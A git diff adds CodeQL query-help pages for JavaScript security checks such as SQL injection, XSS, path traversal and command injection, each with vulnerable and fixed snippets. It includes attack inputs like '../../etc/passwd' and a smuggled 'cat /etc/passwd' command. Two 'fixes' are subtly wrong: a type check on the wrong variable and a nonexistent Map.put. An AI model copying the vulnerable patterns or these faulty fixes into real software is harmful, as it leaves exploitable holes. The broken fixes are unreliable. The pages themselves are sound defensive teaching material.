user-controlled sources + +``` +ID: js/sql-injection +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-089 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-089/SqlInjection.ql) + +If a database query (such as a SQL or NoSQL query) is built from user-provided data without sufficient sanitization, a malicious user may be able to run malicious database queries. + + +## Recommendation +Most database connector libraries offer a way of safely embedding untrusted data into a query by means of query parameters or prepared statements. + + +## Example +In the following example, assume the function `handler` is an HTTP request handler in a web application, whose parameter `req` contains the request object. + +The handler constructs two copies of the same SQL query involving user input taken from the request object, once unsafely using string concatenation, and once safely using query parameters. + +In the first case, the query string `query1` is built by directly concatenating a user-supplied request parameter with some string literals. The parameter may include quote characters, so this code is vulnerable to a SQL injection attack. + +In the second case, the parameter is embedded into the query string `query2` using query parameters. In this example, we use the API offered by the `pg` Postgres database connector library, but other libraries offer similar features. This version is immune to injection attacks. + + +```javascript +const app = require("express")(), + pg = require("pg"), + pool = new pg.Pool(config); + +app.get("search", function handler(req, res) { + // BAD: the category might have SQL special characters in it + var query1 = + "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + + req.params.category + + "' ORDER BY PRICE"; + pool.query(query1, [], function(err, results) { + // process results + }); + + // GOOD: use parameters + var query2 = + "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY=$1" + " ORDER BY PRICE"; + pool.query(query2, [req.params.category], function(err, results) { + // process results + }); +}); + +``` + +## References +* Wikipedia: [SQL injection](https://en.wikipedia.org/wiki/SQL_injection). +* Common Weakness Enumeration: [CWE-89](https://cwe.mitre.org/data/definitions/89.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/StackTraceExposure.md b/docs/language/query-help/javascript/StackTraceExposure.md new file mode 100644 index 00000000000..f83a6458ed3 --- /dev/null +++ b/docs/language/query-help/javascript/StackTraceExposure.md @@ -0,0 +1,75 @@ +# Information exposure through a stack trace + +``` +ID: js/stack-trace-exposure +Kind: path-problem +Severity: warning +Precision: very-high +Tags: security external/cwe/cwe-209 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-209/StackTraceExposure.ql) + +Software developers often add stack traces to error messages, as a debugging aid. Whenever that error message occurs for an end user, the developer can use the stack trace to help identify how to fix the problem. In particular, stack traces can tell the developer more about the sequence of events that led to a failure, as opposed to merely the final state of the software when the error occurred. + +Unfortunately, the same information can be useful to an attacker. The sequence of function names in a stack trace can reveal the structure of the application as well as any internal components it relies on. Furthermore, the error message at the top of a stack trace can include information such as server-side file names and SQL code that the application relies on, allowing an attacker to fine-tune a subsequent injection attack. + + +## Recommendation +Send the user a more generic error message that reveals less information. Either suppress the stack trace entirely, or log it only on the server. + + +## Example +In the following example, an exception is caught and its stack trace is sent back to the remote user as part of the HTTP response. As such, the user is able to see a detailed stack trace, which may contain sensitive information. + + +```javascript +var http = require('http'); + +http.createServer(function onRequest(req, res) { + var body; + try { + body = handleRequest(req); + } + catch (err) { + res.statusCode = 500; + res.setHeader("Content-Type", "text/plain"); + res.end(err.stack); // NOT OK + return; + } + res.statusCode = 200; + res.setHeader("Content-Type", "application/json"); + res.setHeader("Content-Length", body.length); + res.end(body); +}).listen(3000); + +``` +Instead, the stack trace should be logged only on the server. That way, the developers can still access and use the error log, but remote users will not see the information: + + +```javascript +var http = require('http'); + +http.createServer(function onRequest(req, res) { + var body; + try { + body = handleRequest(req); + } + catch (err) { + res.statusCode = 500; + res.setHeader("Content-Type", "text/plain"); + log("Exception occurred", err.stack); + res.end("An exception occurred"); // OK + return; + } + res.statusCode = 200; + res.setHeader("Content-Type", "application/json"); + res.setHeader("Content-Length", body.length); + res.end(body); +}).listen(3000); + +``` + +## References +* OWASP: [Information Leak](https://www.owasp.org/index.php/Information_Leak_(information_disclosure)). +* Common Weakness Enumeration: [CWE-209](https://cwe.mitre.org/data/definitions/209.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/StoredXss.md b/docs/language/query-help/javascript/StoredXss.md new file mode 100644 index 00000000000..c4275e1e960 --- /dev/null +++ b/docs/language/query-help/javascript/StoredXss.md @@ -0,0 +1,70 @@ +# Stored cross-site scripting + +``` +ID: js/stored-xss +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-079 external/cwe/cwe-116 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-079/StoredXss.ql) + +Directly using uncontrolled stored value (for example, file names) to create HTML content without properly sanitizing the input first, allows for a cross-site scripting vulnerability. + +This kind of vulnerability is also called *stored* cross-site scripting, to distinguish it from other types of cross-site scripting. + + +## Recommendation +To guard against cross-site scripting, consider using contextual output encoding/escaping before using uncontrolled stored values to create HTML content, or one of the other solutions that are mentioned in the references. + + +## Example +The following example code writes file names directly to a HTTP response. This leaves the website vulnerable to cross-site scripting, if an attacker can choose the file names on the disk. + + +```javascript +var express = require('express'), + fs = require('fs'); + +express().get('/list-directory', function(req, res) { + fs.readdir('/public', function (error, fileNames) { + var list = '
      '; + fileNames.forEach(fileName => { + // BAD: `fileName` can contain HTML elements + list += '
    • ' + fileName + '
    • '; + }); + list += '
    ' + res.send(list); + }); +}); + +``` +Sanitizing the file names prevents the vulnerability: + + +```javascript +var express = require('express'), + fs = require('fs'), + escape = require('escape-html'); + +express().get('/list-directory', function(req, res) { + fs.readdir('/public', function (error, fileNames) { + var list = '
      '; + fileNames.forEach(fileName => { + // GOOD: escaped `fileName` can not contain HTML elements + list += '
    • ' + escape(fileName) + '
    • '; + }); + list += '
    ' + res.send(list); + }); +}); + +``` + +## References +* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html). +* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting). +* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting). +* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). +* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/TaintedFormatString.md b/docs/language/query-help/javascript/TaintedFormatString.md new file mode 100644 index 00000000000..1f0b84076d9 --- /dev/null +++ b/docs/language/query-help/javascript/TaintedFormatString.md @@ -0,0 +1,52 @@ +# Use of externally-controlled format string + +``` +ID: js/tainted-format-string +Kind: path-problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-134 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-134/TaintedFormatString.ql) + +Functions like the Node.js standard library function `util.format` accept a format string that is used to format the remaining arguments by providing inline format specifiers. If the format string contains unsanitized input from an untrusted source, then that string may contain unexpected format specifiers that cause garbled output. + + +## Recommendation +Either sanitize the input before including it in the format string, or use a `%s` specifier in the format string, and pass the untrusted data as corresponding argument. + + +## Example +The following program snippet logs information about an unauthorized access attempt. The log message includes the user name, and the user's IP address is passed as an additional argument to `console.log` to be appended to the message: + + +```javascript +const app = require("express")(); + +app.get("unauthorized", function handler(req, res) { + let user = req.query.user; + let ip = req.connection.remoteAddress; + console.log("Unauthorized access attempt by " + user, ip); +}); + +``` +However, if a malicious user provides `%d` as their user name, `console.log` will instead attempt to format the `ip` argument as a number. Since IP addresses are not valid numbers, the result of this conversion is `NaN`. The resulting log message will read "Unauthorized access attempt by NaN", missing all the information that it was trying to log in the first place. + +Instead, the user name should be included using the `%s` specifier: + + +```javascript +const app = require("express")(); + +app.get("unauthorized", function handler(req, res) { + let user = req.query.user; + let ip = req.connection.remoteAddress; + console.log("Unauthorized access attempt by %s", user, ip); +}); + +``` + +## References +* Node.js Documentation: [util.format](https://nodejs.org/api/util.html#util_util_format_format_args). +* Common Weakness Enumeration: [CWE-134](https://cwe.mitre.org/data/definitions/134.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/TaintedPath.md b/docs/language/query-help/javascript/TaintedPath.md new file mode 100644 index 00000000000..ccd80f80179 --- /dev/null +++ b/docs/language/query-help/javascript/TaintedPath.md @@ -0,0 +1,56 @@ +# Uncontrolled data used in path expression + +``` +ID: js/path-injection +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-022 external/cwe/cwe-023 external/cwe/cwe-036 external/cwe/cwe-073 external/cwe/cwe-099 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-022/TaintedPath.ql) + +Accessing files using paths constructed from user-controlled data can allow an attacker to access unexpected resources. This can result in sensitive information being revealed or deleted, or an attacker being able to influence behavior by modifying unexpected files. + + +## Recommendation +Validate user input before using it to construct a file path, either using an off-the-shelf library like the `sanitize-filename` npm package, or by performing custom validation. + +Ideally, follow these rules: + +* Do not allow more than a single "." character. +* Do not allow directory separators such as "/" or "\" (depending on the file system). +* Do not rely on simply replacing problematic sequences such as "../". For example, after applying this filter to ".../...//", the resulting string would still be "../". +* Use a whitelist of known good patterns. + +## Example +In the first example, a file name is read from an HTTP request and then used to access a file. However, a malicious user could enter a file name which is an absolute path, such as `"/etc/passwd"`. + +In the second example, it appears that the user is restricted to opening a file within the `"user"` home directory. However, a malicious user could enter a file name containing special characters. For example, the string `"../../etc/passwd"` will result in the code reading the file located at `"/home/user/../../etc/passwd"`, which is the system's password file. This file would then be sent back to the user, giving them access to all the system's passwords. + + +```javascript +var fs = require('fs'), + http = require('http'), + url = require('url'); + +var server = http.createServer(function(req, res) { + let path = url.parse(req.url, true).query.path; + + // BAD: This could read any file on the file system + res.write(fs.readFileSync(path)); + + // BAD: This could still read any file on the file system + res.write(fs.readFileSync("/home/user/" + path)); +}); + +``` + +## References +* OWASP: [Path Traversal](https://www.owasp.org/index.php/Path_traversal). +* npm: [sanitize-filename](https://www.npmjs.com/package/sanitize-filename) package. +* Common Weakness Enumeration: [CWE-22](https://cwe.mitre.org/data/definitions/22.html). +* Common Weakness Enumeration: [CWE-23](https://cwe.mitre.org/data/definitions/23.html). +* Common Weakness Enumeration: [CWE-36](https://cwe.mitre.org/data/definitions/36.html). +* Common Weakness Enumeration: [CWE-73](https://cwe.mitre.org/data/definitions/73.html). +* Common Weakness Enumeration: [CWE-99](https://cwe.mitre.org/data/definitions/99.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/TargetBlank.md b/docs/language/query-help/javascript/TargetBlank.md new file mode 100644 index 00000000000..d1281265835 --- /dev/null +++ b/docs/language/query-help/javascript/TargetBlank.md @@ -0,0 +1,40 @@ +# Potentially unsafe external link + +``` +ID: js/unsafe-external-link +Kind: problem +Severity: warning +Precision: very-high +Tags: maintainability security external/cwe/cwe-200 external/cwe/cwe-1022 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/DOM/TargetBlank.ql) + +HTML links that open in a new tab or window allow the target page to access the DOM of the origin page using `window.opener` unless link type `noopener` or `noreferrer` is specified. This is a potential security risk. + + +## Recommendation +Specify the link type by adding an attribute `rel="noopener noreferrer"`. + + +## Example +In the following example, a JSX element is created that corresponds to an HTML link opening the URL `http://example.com` in a new tab. Since it does not specify a link type, that page will be able to access the DOM of the origin page. + + +```javascript +var link = Example; + +``` +To fix this vulnerability, add a `rel` attribute: + + +```javascript +var link = Example; + +``` + +## References +* Mathias Bynens: [About rel=noopener](https://mathiasbynens.github.io/rel-noopener/). +* Mozilla Developer Network: [HTML Anchor Element](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/a). +* Common Weakness Enumeration: [CWE-200](https://cwe.mitre.org/data/definitions/200.html). +* Common Weakness Enumeration: [CWE-1022](https://cwe.mitre.org/data/definitions/1022.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/TypeConfusionThroughParameterTampering.md b/docs/language/query-help/javascript/TypeConfusionThroughParameterTampering.md new file mode 100644 index 00000000000..f3292bcd5a9 --- /dev/null +++ b/docs/language/query-help/javascript/TypeConfusionThroughParameterTampering.md @@ -0,0 +1,72 @@ +# Type confusion through parameter tampering + +``` +ID: js/type-confusion-through-parameter-tampering +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-843 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-843/TypeConfusionThroughParameterTampering.ql) + +Sanitizing untrusted HTTP request parameters is an important technique for preventing injection attacks such as SQL injection or path traversal. This is sometimes done by checking if the request parameters contain blacklisted substrings. + +However, sanitizing request parameters assuming they have type `String` and using the builtin string methods such as `String.prototype.indexOf` is susceptible to type confusion attacks. In a type confusion attack, an attacker tampers with an HTTP request parameter such that it has a value of type `Array` instead of the expected type `String`. Furthermore, the content of the array has been crafted to bypass sanitizers by exploiting that some identically named methods of strings and arrays behave differently. + + +## Recommendation +Check the runtime type of sanitizer inputs if the input type is user-controlled. + + +## Example +For example, Node.js server frameworks usually present request parameters as strings. But if an attacker sends multiple request parameters with the same name, then the request parameter is represented as an array instead. + +In the following example, a sanitizer checks that a path does not contain the `".."` string, which would allow an attacker to access content outside a user-accessible directory. + + +```javascript +var app = require("express")(), + path = require("path"); + +app.get("/user-files", function(req, res) { + var file = req.param("file"); + if (file.indexOf("..") !== -1) { + // BAD + // forbid paths outside the /public directory + res.status(400).send("Bad request"); + } else { + var absolute = path.resolve("/public/" + file); + console.log("Sending file: %s", absolute); + res.sendFile(absolute); + } +}); + +``` +As written, this sanitizer is ineffective: an array like `["../", "/../secret.txt"]` will bypass the sanitizer. The array does not contain `".."` as an element, so the call to `indexOf` returns `-1` . This is problematic since the value of the `absolute` variable then ends up being `"/secret.txt"`. This happens since the concatenation of `"/public/"` and the array results in `"/public/../,/../secret.txt"`, which the `resolve`-call converts to `"/secret.txt"`. + +To fix the sanitizer, check that the request parameter is a string, and not an array: + + +```javascript +var app = require("express")(), + path = require("path"); + +app.get("/user-files", function(req, res) { + var file = req.param("file"); + if (typeof path !== 'string' || file.indexOf("..") !== -1) { + // BAD + // forbid paths outside the /public directory + res.status(400).send("Bad request"); + } else { + var absolute = path.resolve("/public/" + file); + console.log("Sending file: %s", absolute); + res.sendFile(absolute); + } +}); + +``` + +## References +* Node.js API: [querystring](https://nodejs.org/api/querystring.html). +* Common Weakness Enumeration: [CWE-843](https://cwe.mitre.org/data/definitions/843.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/UnsafeDeserialization.md b/docs/language/query-help/javascript/UnsafeDeserialization.md new file mode 100644 index 00000000000..6e5a5f28aae --- /dev/null +++ b/docs/language/query-help/javascript/UnsafeDeserialization.md @@ -0,0 +1,52 @@ +# Deserialization of user-controlled data + +``` +ID: js/unsafe-deserialization +Kind: path-problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-502 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-502/UnsafeDeserialization.ql) + +Deserializing untrusted data using any deserialization framework that allows the construction of arbitrary functions is easily exploitable and, in many cases, allows an attacker to execute arbitrary code. + + +## Recommendation +Avoid deserialization of untrusted data if at all possible. If the architecture permits it, then use formats like JSON or XML that cannot represent functions. When using YAML or other formats that support the serialization and deserialization of functions, ensure that the parser is configured to disable deserialization of arbitrary functions. + + +## Example +The following example calls the `load` function of the popular `js-yaml` package on data that comes from an HTTP request and hence is inherently unsafe. + + +```javascript +const app = require("express")(), + jsyaml = require("js-yaml"); + +app.get("load", function(req, res) { + let data = jsyaml.load(req.params.data); + // ... +}); + +``` +Using the `safeLoad` function instead (which does not deserialize YAML-encoded functions) removes the vulnerability. + + +```javascript +const app = require("express")(), + jsyaml = require("js-yaml"); + +app.get("load", function(req, res) { + let data = jsyaml.safeLoad(req.params.data); + // ... +}); + +``` + +## References +* OWASP vulnerability description: [Deserialization of untrusted data](https://www.owasp.org/index.php/Deserialization_of_untrusted_data). +* OWASP guidance on deserializing objects: [Deserialization Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html). +* Neal Poole: [Code Execution via YAML in JS-YAML Node.js Module](https://nealpoole.com/blog/2013/06/code-execution-via-yaml-in-js-yaml-nodejs-module/). +* Common Weakness Enumeration: [CWE-502](https://cwe.mitre.org/data/definitions/502.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/UnsafeDynamicMethodAccess.md b/docs/language/query-help/javascript/UnsafeDynamicMethodAccess.md new file mode 100644 index 00000000000..ea56a720e5c --- /dev/null +++ b/docs/language/query-help/javascript/UnsafeDynamicMethodAccess.md @@ -0,0 +1,71 @@ +# Unsafe dynamic method access + +``` +ID: js/unsafe-dynamic-method-access +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-094 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-094/UnsafeDynamicMethodAccess.ql) + +Calling a user-controlled method on certain objects can lead to invocation of unsafe functions, such as `eval` or the `Function` constructor. In particular, the global object contains the `eval` function, and any function object contains the `Function` constructor in its `constructor` property. + + +## Recommendation +Avoid invoking user-controlled methods on the global object or on any function object. Whitelist the permitted method names or change the type of object the methods are stored on. + + +## Example +In the following example, a message from the document's parent frame can invoke the `play` or `pause` method. However, it can also invoke `eval`. A malicious website could embed the page in an iframe and execute arbitrary code by sending a message with the name `eval`. + + +```javascript +// API methods +function play(data) { + // ... +} +function pause(data) { + // ... +} + +window.addEventListener("message", (ev) => { + let message = JSON.parse(ev.data); + + // Let the parent frame call the 'play' or 'pause' function + window[message.name](message.payload); +}); + +``` +Instead of storing the API methods in the global scope, put them in an API object or Map. It is also good practice to prevent invocation of inherited methods like `toString` and `valueOf`. + + +```javascript +// API methods +let api = { + play: function(data) { + // ... + }, + pause: function(data) { + // ... + } +}; + +window.addEventListener("message", (ev) => { + let message = JSON.parse(ev.data); + + // Let the parent frame call the 'play' or 'pause' function + if (!api.hasOwnProperty(message.name)) { + return; + } + api[message.name](message.payload); +}); + +``` + +## References +* OWASP: [Code Injection](https://www.owasp.org/index.php/Code_Injection). +* MDN: [Global functions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects#Function_properties). +* MDN: [Function constructor](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function). +* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/UnsafeHtmlExpansion.md b/docs/language/query-help/javascript/UnsafeHtmlExpansion.md new file mode 100644 index 00000000000..90e9d4b033e --- /dev/null +++ b/docs/language/query-help/javascript/UnsafeHtmlExpansion.md @@ -0,0 +1,59 @@ +# Unsafe expansion of self-closing HTML tag + +``` +ID: js/unsafe-html-expansion +Kind: problem +Severity: warning +Precision: very-high +Tags: correctness security external/cwe/cwe-079 external/cwe/cwe-116 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-116/UnsafeHtmlExpansion.ql) + +Sanitizing untrusted input for HTML meta-characters is an important technique for preventing cross-site scripting attacks. But even a sanitized input can be dangerous to use if it is modified further before a browser treats it as HTML. A seemingly innocent transformation that expands a self-closing HTML tag from `
    ` to `
    ` may in fact cause cross-site scripting vulnerabilities. + + +## Recommendation +Use a well-tested sanitization library if at all possible, and avoid modifying sanitized values further before treating them as HTML. + + +## Example +The following function transforms a self-closing HTML tag to a pair of open/close tags. It does so for all non-`img` and non-`area` tags, by using a regular expression with two capture groups. The first capture group corresponds to the name of the tag, and the second capture group to the content of the tag. + + +```javascript +function expandSelfClosingTags(html) { + var rxhtmlTag = /<(?!img|area)(([a-z][^\w\/>]*)[^>]*)\/>/gi; + return html.replace(rxhtmlTag, "<$1>"); // BAD +} + +``` +While it is generally known regular expressions are ill-suited for parsing HTML, variants of this particular transformation pattern have long been considered safe. + +However, the function is not safe. As an example, consider the following string: + + +```html +
    + +``` +When the above function transforms the string, it becomes a string that results in an alert when a browser treats it as HTML. + + +```html +
    +"/> + +``` + +## References +* jQuery: [Security fixes in jQuery 3.5.0](https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/) +* OWASP: [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html). +* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html). +* OWASP [Types of Cross-Site](https://owasp.org/www-community/Types_of_Cross-Site_Scripting). +* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting). +* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). +* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/UnsafeJQueryPlugin.md b/docs/language/query-help/javascript/UnsafeJQueryPlugin.md new file mode 100644 index 00000000000..4009800a236 --- /dev/null +++ b/docs/language/query-help/javascript/UnsafeJQueryPlugin.md @@ -0,0 +1,57 @@ +# Unsafe jQuery plugin + +``` +ID: js/unsafe-jquery-plugin +Kind: path-problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-079 external/cwe/cwe-116 frameworks/jquery + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-079/UnsafeJQueryPlugin.ql) + +Library plugins, such as those for the jQuery library, are often configurable through options provided by the clients of the plugin. Clients, however, do not know the implementation details of the plugin, so it is important to document the capabilities of each option. The documentation for the plugin options that the client is responsible for sanitizing is of particular importance. Otherwise, the plugin may write user input (for example, a URL query parameter) to a web page without properly sanitizing it first, which allows for a cross-site scripting vulnerability in the client application through dynamic HTML construction. + + +## Recommendation +Document all options that can lead to cross-site scripting attacks, and guard against unsafe inputs where dynamic HTML construction is not intended. + + +## Example +The following example shows a jQuery plugin that selects a DOM element, and copies its text content to another DOM element. The selection is performed by using the plugin option `sourceSelector` as a CSS selector. + + +```javascript +jQuery.fn.copyText = function(options) { + // BAD may evaluate `options.sourceSelector` as HTML + var source = jQuery(options.sourceSelector), + text = source.text(); + jQuery(this).text(text); +} + +``` +This is, however, not a safe plugin, since the call to `jQuery` interprets `sourceSelector` as HTML if it is a string that starts with `<`. + +Instead of documenting that the client is responsible for sanitizing `sourceSelector`, the plugin can use `jQuery.find` to always interpret `sourceSelector` as a CSS selector: + + +```javascript +jQuery.fn.copyText = function(options) { + // GOOD may not evaluate `options.sourceSelector` as HTML + var source = jQuery.find(options.sourceSelector), + text = source.text(); + jQuery(this).text(text); +} + +``` + +## References +* OWASP: [DOM based XSS Prevention Cheat Sheet](https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet). +* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet). +* OWASP [DOM Based XSS](https://www.owasp.org/index.php/DOM_Based_XSS). +* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting). +* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting). +* jQuery: [Plugin creation](https://learn.jquery.com/plugins/basic-plugin-creation/). +* Bootstrap: [XSS vulnerable bootstrap plugins](https://github.com/twbs/bootstrap/pull/27047). +* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). +* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/UnsafeShellCommandConstruction.md b/docs/language/query-help/javascript/UnsafeShellCommandConstruction.md new file mode 100644 index 00000000000..390abbfaa6d --- /dev/null +++ b/docs/language/query-help/javascript/UnsafeShellCommandConstruction.md @@ -0,0 +1,53 @@ +# Unsafe shell command constructed from library input + +``` +ID: js/shell-command-constructed-from-input +Kind: path-problem +Severity: error +Precision: high +Tags: correctness security external/cwe/cwe-078 external/cwe/cwe-088 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-078/UnsafeShellCommandConstruction.ql) + +Dynamically constructing a shell command with inputs from exported functions may inadvertently change the meaning of the shell command. Clients using the exported function may use inputs containing characters that the shell interprets in a special way, for instance quotes and spaces. This can result in the shell command misbehaving, or even allowing a malicious user to execute arbitrary commands on the system. + + +## Recommendation +If possible, provide the dynamic arguments to the shell as an array using a safe API such as `child_process.execFile` to avoid interpretation by the shell. + +Alternatively, if the shell command must be constructed dynamically, then add code to ensure that special characters do not alter the shell command unexpectedly. + + +## Example +The following example shows a dynamically constructed shell command that downloads a file from a remote URL. + + +```javascript +var cp = require("child_process"); + +module.exports = function download(path, callback) { + cp.exec("wget " + path, callback); +} + +``` +The shell command will, however, fail to work as intended if the input contains spaces or other special characters interpreted in a special way by the shell. + +Even worse, a client might pass in user-controlled data, not knowing that the input is interpreted as a shell command. This could allow a malicious user to provide the input `http://example.org; cat /etc/passwd` in order to execute the command `cat /etc/passwd`. + +To avoid such potentially catastrophic behaviors, provide the inputs from exported functions as an argument that does not get interpreted by a shell: + + +```javascript +var cp = require("child_process"); + +module.exports = function download(path, callback) { + cp.execFile("wget", [path], callback); +} + +``` + +## References +* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection). +* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html). +* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/UnvalidatedDynamicMethodCall.md b/docs/language/query-help/javascript/UnvalidatedDynamicMethodCall.md new file mode 100644 index 00000000000..a56a81f8a2b --- /dev/null +++ b/docs/language/query-help/javascript/UnvalidatedDynamicMethodCall.md @@ -0,0 +1,112 @@ +# Unvalidated dynamic method call + +``` +ID: js/unvalidated-dynamic-method-call +Kind: path-problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-754 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-754/UnvalidatedDynamicMethodCall.ql) + +JavaScript makes it easy to look up object properties dynamically at runtime. In particular, methods can be looked up by name and then called. However, if the method name is user-controlled, an attacker could choose a name that makes the application invoke an unexpected method, which may cause a runtime exception. If this exception is not handled, it could be used to mount a denial-of-service attack. + +For example, there might not be a method of the given name, or the result of the lookup might not be a function. In either case the method call will throw a `TypeError` at runtime. + +Another, more subtle example is where the result of the lookup is a standard library method from `Object.prototype`, which most objects have on their prototype chain. Examples of such methods include `valueOf`, `hasOwnProperty` and `__defineSetter__`. If the method call passes the wrong number or kind of arguments to these methods, they will throw an exception. + + +## Recommendation +It is best to avoid dynamic method lookup involving user-controlled names altogether, for instance by using a `Map` instead of a plain object. + +If the dynamic method lookup cannot be avoided, consider whitelisting permitted method names. At the very least, check that the method is an own property and not inherited from the prototype object. If the object on which the method is looked up contains properties that are not methods, you should additionally check that the result of the lookup is a function. Even if the object only contains methods, it is still a good idea to perform this check in case other properties are added to the object later on. + + +## Example +In the following example, an HTTP request parameter `action` property is used to dynamically look up a function in the `actions` map, which is then invoked with the `payload` parameter as its argument. + + +```javascript +var express = require('express'); +var app = express(); + +var actions = { + play(data) { + // ... + }, + pause(data) { + // ... + } +} + +app.get('/perform/:action/:payload', function(req, res) { + let action = actions[req.params.action]; + // BAD: `action` may not be a function + res.end(action(req.params.payload)); +}); + +``` +The intention is to allow clients to invoke the `play` or `pause` method, but there is no check that `action` is actually the name of a method stored in `actions`. If, for example, `action` is `rewind`, `action` will be `undefined` and the call will result in a runtime error. + +The easiest way to prevent this is to turn `actions` into a `Map` and using `Map.prototype.has` to check whether the method name is valid before looking it up. + + +```javascript +var express = require('express'); +var app = express(); + +var actions = new Map(); +actions.put("play", function play(data) { + // ... +}); +actions.put("pause", function pause(data) { + // ... +}); + +app.get('/perform/:action/:payload', function(req, res) { + if (actions.has(req.params.action)) { + let action = actions.get(req.params.action); + // GOOD: `action` is either the `play` or the `pause` function from above + res.end(action(req.params.payload)); + } else { + res.end("Unsupported action."); + } +}); + +``` +If `actions` cannot be turned into a `Map`, a `hasOwnProperty` check should be added to validate the method name: + + +```javascript +var express = require('express'); +var app = express(); + +var actions = { + play(data) { + // ... + }, + pause(data) { + // ... + } +} + +app.get('/perform/:action/:payload', function(req, res) { + if (actions.hasOwnProperty(req.params.action)) { + let action = actions[req.params.action]; + if (typeof action === 'function') { + // GOOD: `action` is an own method of `actions` + res.end(action(req.params.payload)); + return; + } + } + res.end("Unsupported action."); +}); + +``` + +## References +* OWASP: [Denial of Service](https://www.owasp.org/index.php/Denial_of_Service). +* MDN: [Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map). +* MDN: [Object.prototype](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype). +* Common Weakness Enumeration: [CWE-754](https://cwe.mitre.org/data/definitions/754.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/UselessRegExpCharacterEscape.md b/docs/language/query-help/javascript/UselessRegExpCharacterEscape.md new file mode 100644 index 00000000000..b13d05e6390 --- /dev/null +++ b/docs/language/query-help/javascript/UselessRegExpCharacterEscape.md @@ -0,0 +1,37 @@ +# Useless regular-expression character escape + +``` +ID: js/useless-regexp-character-escape +Kind: problem +Severity: error +Precision: high +Tags: correctness security external/cwe/cwe-20 + +``` +[Click to see the query in the CodeQL 